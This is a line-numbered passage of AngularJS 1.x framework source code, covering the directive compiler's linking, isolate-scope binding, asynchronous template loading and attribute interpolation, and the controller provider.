6364 assertNoDuplicate('transclusion', nonTlbTranscludeDirective, directive, $compileNode);
6365 nonTlbTranscludeDirective = directive;
6366 }
6367
6368 if (directiveValue == 'element') {
6369 hasElementTranscludeDirective = true;
6370 terminalPriority = directive.priority;
6371 $template = $compileNode;
6372 $compileNode = templateAttrs.$$element =
6373 jqLite(document.createComment(' ' + directiveName + ': ' +
6374 templateAttrs[directiveName] + ' '));
6375 compileNode = $compileNode[0];
6376 replaceWith(jqCollection, sliceArgs($template), compileNode);
6377
6378 childTranscludeFn = compile($template, transcludeFn, terminalPriority,
6379 replaceDirective && replaceDirective.name, {
6380 // Don't pass in:
6381 // - controllerDirectives - otherwise we'll create duplicates controllers
6382 // - newIsolateScopeDirective or templateDirective - combining templates with
6383 // element transclusion doesn't make sense.
6384 //
6385 // We need only nonTlbTranscludeDirective so that we prevent putting transclusion
6386 // on the same element more than once.
6387 nonTlbTranscludeDirective: nonTlbTranscludeDirective
6388 });
6389 } else {
6390 $template = jqLite(jqLiteClone(compileNode)).contents();
6391 $compileNode.empty(); // clear contents
6392 childTranscludeFn = compile($template, transcludeFn);
6393 }
6394 }
6395
6396 if (directive.template) {
6397 hasTemplate = true;
6398 assertNoDuplicate('template', templateDirective, directive, $compileNode);
6399 templateDirective = directive;
6400
6401 directiveValue = (isFunction(directive.template))
6402 ? directive.template($compileNode, templateAttrs)
6403 : directive.template;
6404
6405 directiveValue = denormalizeTemplate(directiveValue);
6406
6407 if (directive.replace) {
6408 replaceDirective = directive;
6409 if (jqLiteIsTextNode(directiveValue)) {
6410 $template = [];
6411 } else {
6412 $template = jqLite(trim(directiveValue));
6413 }
6414 compileNode = $template[0];
6415
6416 if ($template.length != 1 || compileNode.nodeType !== 1) {
6417 throw $compileMinErr('tplrt',
6418 "Template for directive '{0}' must have exactly one root element. {1}",
6419 directiveName, '');
6420 }
6421
6422 replaceWith(jqCollection, $compileNode, compileNode);
6423
6424 var newTemplateAttrs = {$attr: {}};
6425
6426 // combine directives from the original node and from the template:
6427 // - take the array of directives for this element
6428 // - split it into two parts, those that already applied (processed) and those that weren't (unprocessed)
6429 // - collect directives from the template and sort them by priority
6430 // - combine directives as: processed + template + unprocessed
6431 var templateDirectives = collectDirectives(compileNode, [], newTemplateAttrs);
6432 var unprocessedDirectives = directives.splice(i + 1, directives.length - (i + 1));
6433
6434 if (newIsolateScopeDirective) {
6435 markDirectivesAsIsolate(templateDirectives);
6436 }
6437 directives = directives.concat(templateDirectives).concat(unprocessedDirectives);
6438 mergeTemplateAttributes(templateAttrs, newTemplateAttrs);
6439
6440 ii = directives.length;
6441 } else {
6442 $compileNode.html(directiveValue);
6443 }
6444 }
6445
6446 if (directive.templateUrl) {
6447 hasTemplate = true;
6448 assertNoDuplicate('template', templateDirective, directive, $compileNode);
6449 templateDirective = directive;
6450
6451 if (directive.replace) {
6452 replaceDirective = directive;
6453 }
6454
6455 nodeLinkFn = compileTemplateUrl(directives.splice(i, directives.length - i), $compileNode,
6456 templateAttrs, jqCollection, hasTranscludeDirective && childTranscludeFn, preLinkFns, postLinkFns, {
6457 controllerDirectives: controllerDirectives,
6458 newIsolateScopeDirective: newIsolateScopeDirective,
6459 templateDirective: templateDirective,
6460 nonTlbTranscludeDirective: nonTlbTranscludeDirective
6461 });
6462 ii = directives.length;
6463 } else if (directive.compile) {
6464 try {
6465 linkFn = directive.compile($compileNode, templateAttrs, childTranscludeFn);
6466 if (isFunction(linkFn)) {
6467 addLinkFns(null, linkFn, attrStart, attrEnd);
6468 } else if (linkFn) {
6469 addLinkFns(linkFn.pre, linkFn.post, attrStart, attrEnd);
6470 }
6471 } catch (e) {
6472 $exceptionHandler(e, startingTag($compileNode));
6473 }
6474 }
6475
6476 if (directive.terminal) {
6477 nodeLinkFn.terminal = true;
6478 terminalPriority = Math.max(terminalPriority, directive.priority);
6479 }
6480
6481 }
6482
6483 nodeLinkFn.scope = newScopeDirective && newScopeDirective.scope === true;
6484 nodeLinkFn.transcludeOnThisElement = hasTranscludeDirective;
6485 nodeLinkFn.templateOnThisElement = hasTemplate;
6486 nodeLinkFn.transclude = childTranscludeFn;
6487
6488 previousCompileContext.hasElementTranscludeDirective = hasElementTranscludeDirective;
6489
6490 // might be normal or delayed nodeLinkFn depending on if templateUrl is present
6491 return nodeLinkFn;
6492
6493 ////////////////////
6494
6495 function addLinkFns(pre, post, attrStart, attrEnd) {
6496 if (pre) {
6497 if (attrStart) pre = groupElementsLinkFnWrapper(pre, attrStart, attrEnd);
6498 pre.require = directive.require;
6499 pre.directiveName = directiveName;
6500 if (newIsolateScopeDirective === directive || directive.$$isolateScope) {
6501 pre = cloneAndAnnotateFn(pre, {isolateScope: true});
6502 }
6503 preLinkFns.push(pre);
6504 }
6505 if (post) {
6506 if (attrStart) post = groupElementsLinkFnWrapper(post, attrStart, attrEnd);
6507 post.require = directive.require;
6508 post.directiveName = directiveName;
6509 if (newIsolateScopeDirective === directive || directive.$$isolateScope) {
6510 post = cloneAndAnnotateFn(post, {isolateScope: true});
6511 }
6512 postLinkFns.push(post);
6513 }
6514 }
6515
6516
6517 function getControllers(directiveName, require, $element, elementControllers) {
6518 var value, retrievalMethod = 'data', optional = false;
6519 if (isString(require)) {
6520 while((value = require.charAt(0)) == '^' || value == '?') {
6521 require = require.substr(1);
6522 if (value == '^') {
6523 retrievalMethod = 'inheritedData';
6524 }
6525 optional = optional || value == '?';
6526 }
6527 value = null;
6528
6529 if (elementControllers && retrievalMethod === 'data') {
6530 value = elementControllers[require];
6531 }
6532 value = value || $element[retrievalMethod]('$' + require + 'Controller');
6533
6534 if (!value && !optional) {
6535 throw $compileMinErr('ctreq',
6536 "Controller '{0}', required by directive '{1}', can't be found!",
6537 require, directiveName);
6538 }
6539 return value;
6540 } else if (isArray(require)) {
6541 value = [];
6542 forEach(require, function(require) {
6543 value.push(getControllers(directiveName, require, $element, elementControllers));
6544 });
6545 }
6546 return value;
6547 }
6548
6549
6550 function nodeLinkFn(childLinkFn, scope, linkNode, $rootElement, boundTranscludeFn) {
6551 var attrs, $element, i, ii, linkFn, controller, isolateScope, elementControllers = {}, transcludeFn;
6552
6553 attrs = (compileNode === linkNode)
6554 ? templateAttrs
6555 : shallowCopy(templateAttrs, new Attributes(jqLite(linkNode), templateAttrs.$attr));
6556 $element = attrs.$$element;
6557
6558 if (newIsolateScopeDirective) {
6559 var LOCAL_REGEXP = /^\s*([@=&])(\??)\s*(\w*)\s*$/;
6560
6561 isolateScope = scope.$new(true);
6562
6563 if (templateDirective && (templateDirective === newIsolateScopeDirective ||
6564 templateDirective === newIsolateScopeDirective.$$originalDirective)) {
6565 $element.data('$isolateScope', isolateScope);
6566 } else {
6567 $element.data('$isolateScopeNoTemplate', isolateScope);
6568 }
6569
6570
6571
6572 safeAddClass($element, 'ng-isolate-scope');
6573
6574 forEach(newIsolateScopeDirective.scope, function(definition, scopeName) {
6575 var match = definition.match(LOCAL_REGEXP) || [],
6576 attrName = match[3] || scopeName,
6577 optional = (match[2] == '?'),
6578 mode = match[1], // @, =, or &
6579 lastValue,
6580 parentGet, parentSet, compare;
6581
6582 isolateScope.$$isolateBindings[scopeName] = mode + attrName;
6583
6584 switch (mode) {
6585
6586 case '@':
6587 attrs.$observe(attrName, function(value) {
6588 isolateScope[scopeName] = value;
6589 });
6590 attrs.$$observers[attrName].$$scope = scope;
6591 if( attrs[attrName] ) {
6592 // If the attribute has been provided then we trigger an interpolation to ensure
6593 // the value is there for use in the link fn
6594 isolateScope[scopeName] = $interpolate(attrs[attrName])(scope);
6595 }
6596 break;
6597
6598 case '=':
6599 if (optional && !attrs[attrName]) {
6600 return;
6601 }
6602 parentGet = $parse(attrs[attrName]);
6603 if (parentGet.literal) {
6604 compare = equals;
6605 } else {
6606 compare = function(a,b) { return a === b || (a !== a && b !== b); };
6607 }
6608 parentSet = parentGet.assign || function() {
6609 // reset the change, or we will throw this exception on every $digest
6610 lastValue = isolateScope[scopeName] = parentGet(scope);
6611 throw $compileMinErr('nonassign',
6612 "Expression '{0}' used with directive '{1}' is non-assignable!",
6613 attrs[attrName], newIsolateScopeDirective.name);
6614 };
6615 lastValue = isolateScope[scopeName] = parentGet(scope);
6616 isolateScope.$watch(function parentValueWatch() {
6617 var parentValue = parentGet(scope);
6618 if (!compare(parentValue, isolateScope[scopeName])) {
6619 // we are out of sync and need to copy
6620 if (!compare(parentValue, lastValue)) {
6621 // parent changed and it has precedence
6622 isolateScope[scopeName] = parentValue;
6623 } else {
6624 // if the parent can be assigned then do so
6625 parentSet(scope, parentValue = isolateScope[scopeName]);
6626 }
6627 }
6628 return lastValue = parentValue;
6629 }, null, parentGet.literal);
6630 break;
6631
6632 case '&':
6633 parentGet = $parse(attrs[attrName]);
6634 isolateScope[scopeName] = function(locals) {
6635 return parentGet(scope, locals);
6636 };
6637 break;
6638
6639 default:
6640 throw $compileMinErr('iscp',
6641 "Invalid isolate scope definition for directive '{0}'." +
6642 " Definition: {... {1}: '{2}' ...}",
6643 newIsolateScopeDirective.name, scopeName, definition);
6644 }
6645 });
6646 }
6647 transcludeFn = boundTranscludeFn && controllersBoundTransclude;
6648 if (controllerDirectives) {
6649 forEach(controllerDirectives, function(directive) {
6650 var locals = {
6651 $scope: directive === newIsolateScopeDirective || directive.$$isolateScope ? isolateScope : scope,
6652 $element: $element,
6653 $attrs: attrs,
6654 $transclude: transcludeFn
6655 }, controllerInstance;
6656
6657 controller = directive.controller;
6658 if (controller == '@') {
6659 controller = attrs[directive.name];
6660 }
6661
6662 controllerInstance = $controller(controller, locals);
6663 // For directives with element transclusion the element is a comment,
6664 // but jQuery .data doesn't support attaching data to comment nodes as it's hard to
6665 // clean up (http://bugs.jquery.com/ticket/8335).
6666 // Instead, we save the controllers for the element in a local hash and attach to .data
6667 // later, once we have the actual element.
6668 elementControllers[directive.name] = controllerInstance;
6669 if (!hasElementTranscludeDirective) {
6670 $element.data('$' + directive.name + 'Controller', controllerInstance);
6671 }
6672
6673 if (directive.controllerAs) {
6674 locals.$scope[directive.controllerAs] = controllerInstance;
6675 }
6676 });
6677 }
6678
6679 // PRELINKING
6680 for(i = 0, ii = preLinkFns.length; i < ii; i++) {
6681 try {
6682 linkFn = preLinkFns[i];
6683 linkFn(linkFn.isolateScope ? isolateScope : scope, $element, attrs,
6684 linkFn.require && getControllers(linkFn.directiveName, linkFn.require, $element, elementControllers), transcludeFn);
6685 } catch (e) {
6686 $exceptionHandler(e, startingTag($element));
6687 }
6688 }
6689
6690 // RECURSION
6691 // We only pass the isolate scope, if the isolate directive has a template,
6692 // otherwise the child elements do not belong to the isolate directive.
6693 var scopeToChild = scope;
6694 if (newIsolateScopeDirective && (newIsolateScopeDirective.template || newIsolateScopeDirective.templateUrl === null)) {
6695 scopeToChild = isolateScope;
6696 }
6697 childLinkFn && childLinkFn(scopeToChild, linkNode.childNodes, undefined, boundTranscludeFn);
6698
6699 // POSTLINKING
6700 for(i = postLinkFns.length - 1; i >= 0; i--) {
6701 try {
6702 linkFn = postLinkFns[i];
6703 linkFn(linkFn.isolateScope ? isolateScope : scope, $element, attrs,
6704 linkFn.require && getControllers(linkFn.directiveName, linkFn.require, $element, elementControllers), transcludeFn);
6705 } catch (e) {
6706 $exceptionHandler(e, startingTag($element));
6707 }
6708 }
6709
6710 // This is the function that is injected as `$transclude`.
6711 function controllersBoundTransclude(scope, cloneAttachFn) {
6712 var transcludeControllers;
6713
6714 // no scope passed
6715 if (arguments.length < 2) {
6716 cloneAttachFn = scope;
6717 scope = undefined;
6718 }
6719
6720 if (hasElementTranscludeDirective) {
6721 transcludeControllers = elementControllers;
6722 }
6723
6724 return boundTranscludeFn(scope, cloneAttachFn, transcludeControllers);
6725 }
6726 }
6727 }
6728
6729 function markDirectivesAsIsolate(directives) {
6730 // mark all directives as needing isolate scope.
6731 for (var j = 0, jj = directives.length; j < jj; j++) {
6732 directives[j] = inherit(directives[j], {$$isolateScope: true});
6733 }
6734 }
6735
6736 /**
6737 * looks up the directive and decorates it with exception handling and proper parameters. We
6738 * call this the boundDirective.
6739 *
6740 * @param {string} name name of the directive to look up.
6741 * @param {string} location The directive must be found in specific format.
6742 * String containing any of theses characters:
6743 *
6744 * * `E`: element name
6745 * * `A': attribute
6746 * * `C`: class
6747 * * `M`: comment
6748 * @returns {boolean} true if directive was added.
6749 */
6750 function addDirective(tDirectives, name, location, maxPriority, ignoreDirective, startAttrName,
6751 endAttrName) {
6752 if (name === ignoreDirective) return null;
6753 var match = null;
6754 if (hasDirectives.hasOwnProperty(name)) {
6755 for(var directive, directives = $injector.get(name + Suffix),
6756 i = 0, ii = directives.length; i<ii; i++) {
6757 try {
6758 directive = directives[i];
6759 if ( (maxPriority === undefined || maxPriority > directive.priority) &&
6760 directive.restrict.indexOf(location) != -1) {
6761 if (startAttrName) {
6762 directive = inherit(directive, {$$start: startAttrName, $$end: endAttrName});
6763 }
6764 tDirectives.push(directive);
6765 match = directive;
6766 }
6767 } catch(e) { $exceptionHandler(e); }
6768 }
6769 }
6770 return match;
6771 }
6772
6773
6774 /**
6775 * When the element is replaced with HTML template then the new attributes
6776 * on the template need to be merged with the existing attributes in the DOM.
6777 * The desired effect is to have both of the attributes present.
6778 *
6779 * @param {object} dst destination attributes (original DOM)
6780 * @param {object} src source attributes (from the directive template)
6781 */
6782 function mergeTemplateAttributes(dst, src) {
6783 var srcAttr = src.$attr,
6784 dstAttr = dst.$attr,
6785 $element = dst.$$element;
6786
6787 // reapply the old attributes to the new element
6788 forEach(dst, function(value, key) {
6789 if (key.charAt(0) != '$') {
6790 if (src[key] && src[key] !== value) {
6791 value += (key === 'style' ? ';' : ' ') + src[key];
6792 }
6793 dst.$set(key, value, true, srcAttr[key]);
6794 }
6795 });
6796
6797 // copy the new attributes on the old attrs object
6798 forEach(src, function(value, key) {
6799 if (key == 'class') {
6800 safeAddClass($element, value);
6801 dst['class'] = (dst['class'] ? dst['class'] + ' ' : '') + value;
6802 } else if (key == 'style') {
6803 $element.attr('style', $element.attr('style') + ';' + value);
6804 dst['style'] = (dst['style'] ? dst['style'] + ';' : '') + value;
6805 // `dst` will never contain hasOwnProperty as DOM parser won't let it.
6806 // You will get an "InvalidCharacterError: DOM Exception 5" error if you
6807 // have an attribute like "has-own-property" or "data-has-own-property", etc.
6808 } else if (key.charAt(0) != '$' && !dst.hasOwnProperty(key)) {
6809 dst[key] = value;
6810 dstAttr[key] = srcAttr[key];
6811 }
6812 });
6813 }
6814
6815
6816 function compileTemplateUrl(directives, $compileNode, tAttrs,
6817 $rootElement, childTranscludeFn, preLinkFns, postLinkFns, previousCompileContext) {
6818 var linkQueue = [],
6819 afterTemplateNodeLinkFn,
6820 afterTemplateChildLinkFn,
6821 beforeTemplateCompileNode = $compileNode[0],
6822 origAsyncDirective = directives.shift(),
6823 // The fact that we have to copy and patch the directive seems wrong!
6824 derivedSyncDirective = extend({}, origAsyncDirective, {
6825 templateUrl: null, transclude: null, replace: null, $$originalDirective: origAsyncDirective
6826 }),
6827 templateUrl = (isFunction(origAsyncDirective.templateUrl))
6828 ? origAsyncDirective.templateUrl($compileNode, tAttrs)
6829 : origAsyncDirective.templateUrl;
6830
6831 $compileNode.empty();
6832
6833 $http.get($sce.getTrustedResourceUrl(templateUrl), {cache: $templateCache}).
6834 success(function(content) {
6835 var compileNode, tempTemplateAttrs, $template, childBoundTranscludeFn;
6836
6837 content = denormalizeTemplate(content);
6838
6839 if (origAsyncDirective.replace) {
6840 if (jqLiteIsTextNode(content)) {
6841 $template = [];
6842 } else {
6843 $template = jqLite(trim(content));
6844 }
6845 compileNode = $template[0];
6846
6847 if ($template.length != 1 || compileNode.nodeType !== 1) {
6848 throw $compileMinErr('tplrt',
6849 "Template for directive '{0}' must have exactly one root element. {1}",
6850 origAsyncDirective.name, templateUrl);
6851 }
6852
6853 tempTemplateAttrs = {$attr: {}};
6854 replaceWith($rootElement, $compileNode, compileNode);
6855 var templateDirectives = collectDirectives(compileNode, [], tempTemplateAttrs);
6856
6857 if (isObject(origAsyncDirective.scope)) {
6858 markDirectivesAsIsolate(templateDirectives);
6859 }
6860 directives = templateDirectives.concat(directives);
6861 mergeTemplateAttributes(tAttrs, tempTemplateAttrs);
6862 } else {
6863 compileNode = beforeTemplateCompileNode;
6864 $compileNode.html(content);
6865 }
6866
6867 directives.unshift(derivedSyncDirective);
6868
6869 afterTemplateNodeLinkFn = applyDirectivesToNode(directives, compileNode, tAttrs,
6870 childTranscludeFn, $compileNode, origAsyncDirective, preLinkFns, postLinkFns,
6871 previousCompileContext);
6872 forEach($rootElement, function(node, i) {
6873 if (node == compileNode) {
6874 $rootElement[i] = $compileNode[0];
6875 }
6876 });
6877 afterTemplateChildLinkFn = compileNodes($compileNode[0].childNodes, childTranscludeFn);
6878
6879 while(linkQueue.length) {
6880 var scope = linkQueue.shift(),
6881 beforeTemplateLinkNode = linkQueue.shift(),
6882 linkRootElement = linkQueue.shift(),
6883 boundTranscludeFn = linkQueue.shift(),
6884 linkNode = $compileNode[0];
6885
6886 if (beforeTemplateLinkNode !== beforeTemplateCompileNode) {
6887 var oldClasses = beforeTemplateLinkNode.className;
6888
6889 if (!(previousCompileContext.hasElementTranscludeDirective &&
6890 origAsyncDirective.replace)) {
6891 // it was cloned therefore we have to clone as well.
6892 linkNode = jqLiteClone(compileNode);
6893 }
6894
6895 replaceWith(linkRootElement, jqLite(beforeTemplateLinkNode), linkNode);
6896
6897 // Copy in CSS classes from original node
6898 safeAddClass(jqLite(linkNode), oldClasses);
6899 }
6900 if (afterTemplateNodeLinkFn.transcludeOnThisElement) {
6901 childBoundTranscludeFn = createBoundTranscludeFn(scope, afterTemplateNodeLinkFn.transclude, boundTranscludeFn);
6902 } else {
6903 childBoundTranscludeFn = boundTranscludeFn;
6904 }
6905 afterTemplateNodeLinkFn(afterTemplateChildLinkFn, scope, linkNode, $rootElement,
6906 childBoundTranscludeFn);
6907 }
6908 linkQueue = null;
6909 }).
6910 error(function(response, code, headers, config) {
6911 throw $compileMinErr('tpload', 'Failed to load template: {0}', config.url);
6912 });
6913
6914 return function delayedNodeLinkFn(ignoreChildLinkFn, scope, node, rootElement, boundTranscludeFn) {
6915 var childBoundTranscludeFn = boundTranscludeFn;
6916 if (linkQueue) {
6917 linkQueue.push(scope);
6918 linkQueue.push(node);
6919 linkQueue.push(rootElement);
6920 linkQueue.push(childBoundTranscludeFn);
6921 } else {
6922 if (afterTemplateNodeLinkFn.transcludeOnThisElement) {
6923 childBoundTranscludeFn = createBoundTranscludeFn(scope, afterTemplateNodeLinkFn.transclude, boundTranscludeFn);
6924 }
6925 afterTemplateNodeLinkFn(afterTemplateChildLinkFn, scope, node, rootElement, childBoundTranscludeFn);
6926 }
6927 };
6928 }
6929
6930
6931 /**
6932 * Sorting function for bound directives.
6933 */
6934 function byPriority(a, b) {
6935 var diff = b.priority - a.priority;
6936 if (diff !== 0) return diff;
6937 if (a.name !== b.name) return (a.name < b.name) ? -1 : 1;
6938 return a.index - b.index;
6939 }
6940
6941
6942 function assertNoDuplicate(what, previousDirective, directive, element) {
6943 if (previousDirective) {
6944 throw $compileMinErr('multidir', 'Multiple directives [{0}, {1}] asking for {2} on: {3}',
6945 previousDirective.name, directive.name, what, startingTag(element));
6946 }
6947 }
6948
6949
6950 function addTextInterpolateDirective(directives, text) {
6951 var interpolateFn = $interpolate(text, true);
6952 if (interpolateFn) {
6953 directives.push({
6954 priority: 0,
6955 compile: function textInterpolateCompileFn(templateNode) {
6956 // when transcluding a template that has bindings in the root
6957 // then we don't have a parent and should do this in the linkFn
6958 var parent = templateNode.parent(), hasCompileParent = parent.length;
6959 if (hasCompileParent) safeAddClass(templateNode.parent(), 'ng-binding');
6960
6961 return function textInterpolateLinkFn(scope, node) {
6962 var parent = node.parent(),
6963 bindings = parent.data('$binding') || [];
6964 bindings.push(interpolateFn);
6965 parent.data('$binding', bindings);
6966 if (!hasCompileParent) safeAddClass(parent, 'ng-binding');
6967 scope.$watch(interpolateFn, function interpolateFnWatchAction(value) {
6968 node[0].nodeValue = value;
6969 });
6970 };
6971 }
6972 });
6973 }
6974 }
6975
6976
6977 function getTrustedContext(node, attrNormalizedName) {
6978 if (attrNormalizedName == "srcdoc") {
6979 return $sce.HTML;
6980 }
6981 var tag = nodeName_(node);
6982 // maction[xlink:href] can source SVG. It's not limited to <maction>.
6983 if (attrNormalizedName == "xlinkHref" ||
6984 (tag == "FORM" && attrNormalizedName == "action") ||
6985 (tag != "IMG" && (attrNormalizedName == "src" ||
6986 attrNormalizedName == "ngSrc"))) {
6987 return $sce.RESOURCE_URL;
6988 }
6989 }
6990
6991
6992 function addAttrInterpolateDirective(node, directives, value, name) {
6993 var interpolateFn = $interpolate(value, true);
6994
6995 // no interpolation found -> ignore
6996 if (!interpolateFn) return;
6997
6998
6999 if (name === "multiple" && nodeName_(node) === "SELECT") {
7000 throw $compileMinErr("selmulti",
7001 "Binding to the 'multiple' attribute is not supported. Element: {0}",
7002 startingTag(node));
7003 }
7004
7005 directives.push({
7006 priority: 100,
7007 compile: function() {
7008 return {
7009 pre: function attrInterpolatePreLinkFn(scope, element, attr) {
7010 var $$observers = (attr.$$observers || (attr.$$observers = {}));
7011
7012 if (EVENT_HANDLER_ATTR_REGEXP.test(name)) {
7013 throw $compileMinErr('nodomevents',
7014 "Interpolations for HTML DOM event attributes are disallowed. Please use the " +
7015 "ng- versions (such as ng-click instead of onclick) instead.");
7016 }
7017
7018 // we need to interpolate again, in case the attribute value has been updated
7019 // (e.g. by another directive's compile function)
7020 interpolateFn = $interpolate(attr[name], true, getTrustedContext(node, name));
7021
7022 // if attribute was updated so that there is no interpolation going on we don't want to
7023 // register any observers
7024 if (!interpolateFn) return;
7025
7026 // TODO(i): this should likely be attr.$set(name, iterpolateFn(scope) so that we reset the
7027 // actual attr value
7028 attr[name] = interpolateFn(scope);
7029 ($$observers[name] || ($$observers[name] = [])).$$inter = true;
7030 (attr.$$observers && attr.$$observers[name].$$scope || scope).
7031 $watch(interpolateFn, function interpolateFnWatchAction(newValue, oldValue) {
7032 //special case for class attribute addition + removal
7033 //so that class changes can tap into the animation
7034 //hooks provided by the $animate service. Be sure to
7035 //skip animations when the first digest occurs (when
7036 //both the new and the old values are the same) since
7037 //the CSS classes are the non-interpolated values
7038 if(name === 'class' && newValue != oldValue) {
7039 attr.$updateClass(newValue, oldValue);
7040 } else {
7041 attr.$set(name, newValue);
7042 }
7043 });
7044 }
7045 };
7046 }
7047 });
7048 }
7049
7050
7051 /**
7052 * This is a special jqLite.replaceWith, which can replace items which
7053 * have no parents, provided that the containing jqLite collection is provided.
7054 *
7055 * @param {JqLite=} $rootElement The root of the compile tree. Used so that we can replace nodes
7056 * in the root of the tree.
7057 * @param {JqLite} elementsToRemove The jqLite element which we are going to replace. We keep
7058 * the shell, but replace its DOM node reference.
7059 * @param {Node} newNode The new DOM node.
7060 */
7061 function replaceWith($rootElement, elementsToRemove, newNode) {
7062 var firstElementToRemove = elementsToRemove[0],
7063 removeCount = elementsToRemove.length,
7064 parent = firstElementToRemove.parentNode,
7065 i, ii;
7066
7067 if ($rootElement) {
7068 for(i = 0, ii = $rootElement.length; i < ii; i++) {
7069 if ($rootElement[i] == firstElementToRemove) {
7070 $rootElement[i++] = newNode;
7071 for (var j = i, j2 = j + removeCount - 1,
7072 jj = $rootElement.length;
7073 j < jj; j++, j2++) {
7074 if (j2 < jj) {
7075 $rootElement[j] = $rootElement[j2];
7076 } else {
7077 delete $rootElement[j];
7078 }
7079 }
7080 $rootElement.length -= removeCount - 1;
7081 break;
7082 }
7083 }
7084 }
7085
7086 if (parent) {
7087 parent.replaceChild(newNode, firstElementToRemove);
7088 }
7089 var fragment = document.createDocumentFragment();
7090 fragment.appendChild(firstElementToRemove);
7091 newNode[jqLite.expando] = firstElementToRemove[jqLite.expando];
7092 for (var k = 1, kk = elementsToRemove.length; k < kk; k++) {
7093 var element = elementsToRemove[k];
7094 jqLite(element).remove(); // must do this way to clean up expando
7095 fragment.appendChild(element);
7096 delete elementsToRemove[k];
7097 }
7098
7099 elementsToRemove[0] = newNode;
7100 elementsToRemove.length = 1;
7101 }
7102
7103
7104 function cloneAndAnnotateFn(fn, annotation) {
7105 return extend(function() { return fn.apply(null, arguments); }, fn, annotation);
7106 }
7107 }];
7108 }
7109
7110 var PREFIX_REGEXP = /^(x[\:\-_]|data[\:\-_])/i;
7111 /**
7112 * Converts all accepted directives format into proper directive name.
7113 * All of these will become 'myDirective':
7114 * my:Directive
7115 * my-directive
7116 * x-my-directive
7117 * data-my:directive
7118 *
7119 * Also there is special case for Moz prefix starting with upper case letter.
7120 * @param name Name to normalize
7121 */
7122 function directiveNormalize(name) {
7123 return camelCase(name.replace(PREFIX_REGEXP, ''));
7124 }
7125
7126 /**
7127 * @ngdoc type
7128 * @name $compile.directive.Attributes
7129 *
7130 * @description
7131 * A shared object between directive compile / linking functions which contains normalized DOM
7132 * element attributes. The values reflect current binding state `{{ }}`. The normalization is
7133 * needed since all of these are treated as equivalent in Angular:
7134 *
7135 * ```
7136 * <span ng:bind="a" ng-bind="a" data-ng-bind="a" x-ng-bind="a">
7137 * ```
7138 */
7139
7140 /**
7141 * @ngdoc property
7142 * @name $compile.directive.Attributes#$attr
7143 *
7144 * @description
7145 * A map of DOM element attribute names to the normalized name. This is
7146 * needed to do reverse lookup from normalized name back to actual name.
7147 */
7148
7149
7150 /**
7151 * @ngdoc method
7152 * @name $compile.directive.Attributes#$set
7153 * @kind function
7154 *
7155 * @description
7156 * Set DOM element attribute value.
7157 *
7158 *
7159 * @param {string} name Normalized element attribute name of the property to modify. The name is
7160 * reverse-translated using the {@link ng.$compile.directive.Attributes#$attr $attr}
7161 * property to the original name.
7162 * @param {string} value Value to set the attribute to. The value can be an interpolated string.
7163 */
7164
7165
7166
7167 /**
7168 * Closure compiler type information
7169 */
7170
7171 function nodesetLinkingFn(
7172 /* angular.Scope */ scope,
7173 /* NodeList */ nodeList,
7174 /* Element */ rootElement,
7175 /* function(Function) */ boundTranscludeFn
7176 ){}
7177
7178 function directiveLinkingFn(
7179 /* nodesetLinkingFn */ nodesetLinkingFn,
7180 /* angular.Scope */ scope,
7181 /* Node */ node,
7182 /* Element */ rootElement,
7183 /* function(Function) */ boundTranscludeFn
7184 ){}
7185
7186 function tokenDifference(str1, str2) {
7187 var values = '',
7188 tokens1 = str1.split(/\s+/),
7189 tokens2 = str2.split(/\s+/);
7190
7191 outer:
7192 for(var i = 0; i < tokens1.length; i++) {
7193 var token = tokens1[i];
7194 for(var j = 0; j < tokens2.length; j++) {
7195 if(token == tokens2[j]) continue outer;
7196 }
7197 values += (values.length > 0 ? ' ' : '') + token;
7198 }
7199 return values;
7200 }
7201
7202 /**
7203 * @ngdoc provider
7204 * @name $controllerProvider
7205 * @description
7206 * The {@link ng.$controller $controller service} is used by Angular to create new
7207 * controllers.
7208 *
7209 * This provider allows controller registration via the
7210 * {@link ng.$controllerProvider#register register} method.
7211 */
7212 function $ControllerProvider() {
7213 var controllers = {},
7214 CNTRL_REG = /^(\S+)(\s+as\s+(\w+))?$/;
7215
7216
7217 /**
7218 * @ngdoc method
7219 * @name $controllerProvider#register
7220 * @param {string|Object} name Controller name, or an object map of controllers where the keys are
7221 * the names and the values are the constructors.
7222 * @param {Function|Array} constructor Controller constructor fn (optionally decorated with DI
7223 * annotations in the array notation).
7224 */
7225 this.register = function(name, constructor) {
7226 assertNotHasOwnProperty(name, 'controller');
7227 if (isObject(name)) {
7228 extend(controllers, name);
7229 } else {
7230 controllers[name] = constructor;
7231 }
7232 };
7233
7234
7235 this.$get = ['$injector', '$window', function($injector, $window) {
7236
7237 /**
7238 * @ngdoc service
7239 * @name $controller
7240 * @requires $injector
7241 *
7242 * @param {Function|string} constructor If called with a function then it's considered to be the
7243 * controller constructor function. Otherwise it's considered to be a string which is used
7244 * to retrieve the controller constructor using the following steps:
7245 *
7246 * * check if a controller with given name is registered via `$controllerProvider`
7247 * * check if evaluating the string on the current scope returns a constructor
7248 * * check `window[constructor]` on the global `window` object
7249 *
7250 * @param {Object} locals Injection locals for Controller.
7251 * @return {Object} Instance of given controller.
7252 *
7253 * @description
7254 * `$controller` service is responsible for instantiating controllers.
7255 *
7256 * It's just a simple call to {@link auto.$injector $injector}, but extracted into
7257 * a service, so that one can override this service with [BC version](https://gist.github.com/1649788).
7258 */
7259 return function(expression, locals) {
7260 var instance, match, constructor, identifier;
7261
7262 if(isString(expression)) {
7263 match = expression.match(CNTRL_REG),
7264 constructor = match[1],
7265 identifier = match[3];
7266 expression = controllers.hasOwnProperty(constructor)
7267 ? controllers[constructor]
7268 : getter(locals.$scope, constructor, true) || getter($window, constructor, true);
7269
7270 assertArgFn(expression, constructor, true);
7271 }
7272
7273 instance = $injector.instantiate(expression, locals);
7274
7275 if (identifier) {
7276 if (!(locals && typeof locals.$scope === 'object')) {
7277 throw minErr('$controller')('noscp',
7278 "Cannot export controller '{0}' as '{1}'! No $scope object provided via `locals`.",
7279 constructor || expression.name, identifier);
7280 }
7281
7282 locals.$scope[identifier] = instance;
7283 }
7284
7285 return instance;
7286 };
7287 }];
7288 }
7289
7290 /**
7291 * @ngdoc service
7292 * @name $document
7293 * @requires $window
7294 *
7295 * @description
7296 * A {@link angular.element jQuery or jqLite} wrapper for the browser's `window.document` object.
7297 *
7298 * @example
7299 <example module="documentExample">
7300 <file name="index.html">
7301 <div ng-controller="ExampleController">
7302 <p>$document title: <b ng-bind="title"></b></p>
7303 <p>window.document title: <b ng-bind="windowTitle"></b></p>
7304 </div>
7305 </file>
7306 <file name="script.js">
7307 angular.module('documentExample', [])
7308 .controller('ExampleController', ['$scope', '$document', function($scope, $document) {
